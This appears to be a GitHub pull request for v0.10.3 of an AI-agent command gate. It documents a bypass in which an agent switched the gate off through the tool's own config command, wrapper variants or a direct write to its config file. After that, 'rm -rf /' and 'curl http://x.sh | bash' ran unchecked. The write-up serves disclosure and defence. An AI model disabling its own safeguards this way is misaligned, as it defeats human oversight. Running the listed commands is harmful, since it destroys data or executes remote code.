release: v0.10.3 — gate no longer approves its own disarming (rf-vnxs, rf-r94l) - #245
Merged
Conversation
… a string (rf-vnxs, rf-r94l) (#244) On published 0.10.1 the gate approved its own disarming. Measured end to end against the PUBLISHED PyPI sdist and npm tarball, both runtimes, identical: rm -rf / deny rafter agent config set agent.hooks.enabled false ALLOW <-- rated low (run it) '✓ Set agent.hooks.enabled = false' rm -rf / ALLOW curl http://x.sh | bash ALLOW Three steps, no malformed command, only documented CLI, and it persists to config.json — so a fresh session inherits the disarm. It defeats the CRITICAL tier, the one no policy, mode or deny-list can override, which makes it worse than every bypass 0.10.1 fixed: those each needed a specific trick, this needs the product's own interface. WHY THIS IS NOT A BLACKLIST. A one-string fix would have been a no-op, and I checked rather than assumed — every one of these was ALLOWED on the published artifact: extra whitespace, `FALSE`, `npx @rafter-security/cli …`, `pnpm dlx`, `sudo -E rafter …`, an absolute path, `FOO=1 rafter …`, `--global`, the `agent disable <component>` route, and THREE separate self-disabling keys — hooks.enabled, hooks.secretScan, hooks.commandPolicy. Same shape as the CHAIN_OPS one-liner that was proven inert only by running the shipped module. So the match is structural: resolved exec plus an argv walk, over a protected key NAMESPACE. Two shapes only the battery caught, after a first attempt that scored 21/22 and was still wrong — `bash -c "rafter agent config set …"` and `echo … | bash` reduce to a statement whose exec is `bash`, so the rafter invocation is looked for at ANY argv position, and the check runs on the sanitized text as well as the raw. FOUR ROUTES, NOT THREE. The config is a FILE. An agent holding Write/Edit does not need the CLI at all, and on the patched build the Bash route denied while `Write ~/.rafter/config.json` still ALLOWED. Blocking only the command would have left route four open — which is exactly how this codebase accumulated three independent routes to the unblockable tier one at a time. evaluateWrite now refuses any write inside the rafter config dir, checked BEFORE the no-content early return, because a truncating write disarms just as well. rf-r94l rides along because this fix made it incoherent: the approval message printed `To configure: rafter agent config set agent.riskLevel minimal`, which the same change now hard-blocks — the hook advertising a route it would then deny. That line is gone. (Recorded on the bead: I tested that chain and it was never an escalation on its own; riskLevel minimal left curl|bash and rm -rf / both denying. It is the gate coaching the agent, not a bypass.) The deny message now states the real reason. "irreversible system damage" is the wrong sentence for a config write, and a wrong reason teaches the agent to hunt for a rule whose shape it was never told. GATE — corpus stated, both directions, both runtimes: red control @rafter-security/cli 0.10.1 (npm tarball) and rafter-cli 0.10.1 (PyPI sdist): 19 fail / 6 pass, IDENTICAL in both runtimes green 25/25 both runtimes mutation disable the check -> 19 committed subtests red; restore -> 69 green differential CLEAN both runtimes (this change is only ever more restrictive) end-to-end chain broken at step 2; `config show`, benign commands and ordinary clean writes still allow; an ordinary secret write still denies suites python 1659 passed / 8 failed, node 2219 passed / 10 failed — those same failures reproduce on clean main 12a1429, verified by running them there rather than trusting the count typecheck clean The 25 rows go into the EXISTING shared battery json, 44 -> 69, so both runtimes pick them up byte-for-byte and no parallel file drifts. BOTH HALVES OF rf-r94l, and the second one I nearly left unverified. The message also said `To approve: rafter agent exec --approve "<cmd>"`. That flag DOES NOT EXIST — `rafter agent exec --approve` errors with `unknown option '--approve'` on the published 0.10.1 in BOTH runtimes; `agent exec` offers only `--skip-scan` and `--dry-run`. So the gate was handing the agent a command that fails, as its one piece of constructive advice. Replaced with the path that is actually real after rf-ss67: a person runs `rafter agent exec "<cmd>"` at an interactive terminal and confirms, and no flag skips the prompt. Both runtimes now emit a byte-identical message. Co-authored-by: secbolt/crew/goldwasser <hello@rafter.so> Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
Closes rf-vnxs and rf-r94l — the gate approving its own disarming, live in published 0.10.1 and 0.10.2. Version bumped in all four locations in lockstep: node/package.json, python/pyproject.toml, and both rafter-security-skill.md manifests. validate-versions enforces the pair of skill manifests against package.json and runs only on PRs into prod, so a missed one blocks the release rather than shipping wrong. Does NOT include the command-policy allowlist (b3ba56d + 4f94eaf). Those are Node-only — 0 python files between them — while 4f94eaf also documents the key in shared-docs/CLI_SPEC.md. Landing them would ship a documented feature that one runtime does not implement, which the dual-implementation rule forbids. Writing the Python half is not a cleanup; it is implementing half a feature in the command-policy path under release pressure. rf-vnxs is a live CRITICAL bypass in the published package and does not wait for it.
Raftersecurity
approved these changes
Sep 12, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Promotes main to prod, which fires publish. 0.10.3 is a security release.
prod is at
c420b286(0.10.2, which is what npm serves right now). This PR is2 commits ahead: the fix and the release bump.
We got this wrong exactly one release ago: #233 merged an hour after the 0.10.1
publish, so the shipped package silently lacked it while both were labelled
0.10.1. Both compares run, with a control on each side:
Positive — is the rf-vnxs fix an ancestor of the release commit?
ee8295b2is the rf-vnxs merge commit;5d8a343dis the 0.10.3 head. ahead —the fix is in the release.
Negative control — 0.10.2's head must NOT be ahead of the release.
3e70ed0dis the 0.10.2 release. behind, not ahead. This is the control thatmatters: it shows the compare can return an answer other than the one we wanted,
so the positive result above is evidence rather than a formality.
Pinned by OID throughout. The branch name has been wrong twice in this repo.
What 0.10.3 contains
ee8295b2— rafter's own security config is a protected class (rf-vnxs,rf-r94l; secbolt audit se-8xzc / se-c3us).
On published 0.10.1 and the currently published 0.10.2, the gate approved its
own disarming. Measured end to end against the published npm tarball and PyPI
sdist, both runtimes, identical:
Three steps, no malformed command, only the documented CLI — and it persists to
~/.rafter/config.json, so a fresh session inherits the disarm. It defeats theCRITICAL tier, the one no policy, mode or deny-list can override. That makes it
worse than every bypass 0.10.1 fixed: those each needed a specific trick, this
needs the product's own interface.
5d8a343d— release: v0.10.3. Version bumped in all four locations inlockstep:
node/package.json,python/pyproject.toml, and bothrafter-security-skill.mdmanifests.It closes FOUR routes to the same disarm, not one
Reviewers should not have to reconstruct this, so, explicitly:
agent.hooks.enabled,agent.hooks.secretScan,agent.hooks.commandPolicy. Each independentlyturns the gate off via
agent config set.agent disable <component>— a separate documented command reaching thesame state.
An agent holding Write or Edit can disarm the gate without ever invoking
rafter. On an earlier patched build the Bash route denied while
Write ~/.rafter/config.jsonstill ALLOWED.evaluateWritenow refuses anywrite inside the rafter config dir, checked before the no-content early
return, because a truncating write disarms just as well.
The match is structural, not a string blacklist — resolved exec plus an argv
walk over a protected key namespace, run against the sanitized text as well as
the raw, so
bash -c "rafter agent config set …"andecho … | bashare caughtat any argv position. A one-string fix would have been a no-op: whitespace,
FALSE,npx,pnpm dlx,sudo -E, an absolute path,FOO=1 rafter …and--globalwere each verified ALLOWED on the published artifact.rf-r94lrides along because this fix made it incoherent: the approval messageprinted
To configure: rafter agent config set agent.riskLevel minimal, whichthe same change now hard-blocks — the hook advertising a route it would then
deny. That line is gone, and the deny message states the real reason.
Deliberately NOT in this release
The command-policy allowlist (
b3ba56d+4f94eaf) is excluded. Those twocommits are Node-only — zero Python files between them — while
4f94eafalsodocuments the key in
shared-docs/CLI_SPEC.md. Landing them would ship adocumented feature that one runtime does not implement, which the
dual-implementation rule forbids. Writing the Python half is not a cleanup; it
is implementing half a feature in the command-policy path under release
pressure. rf-vnxs is a live CRITICAL bypass in the published package and does
not wait for a feature request.
After merge
Merging this fires publish. Verify the artifact, not the workflow exit code:
then re-run the classifier cases against the published tarball. A publish job
that exits 0 is not a version that shipped.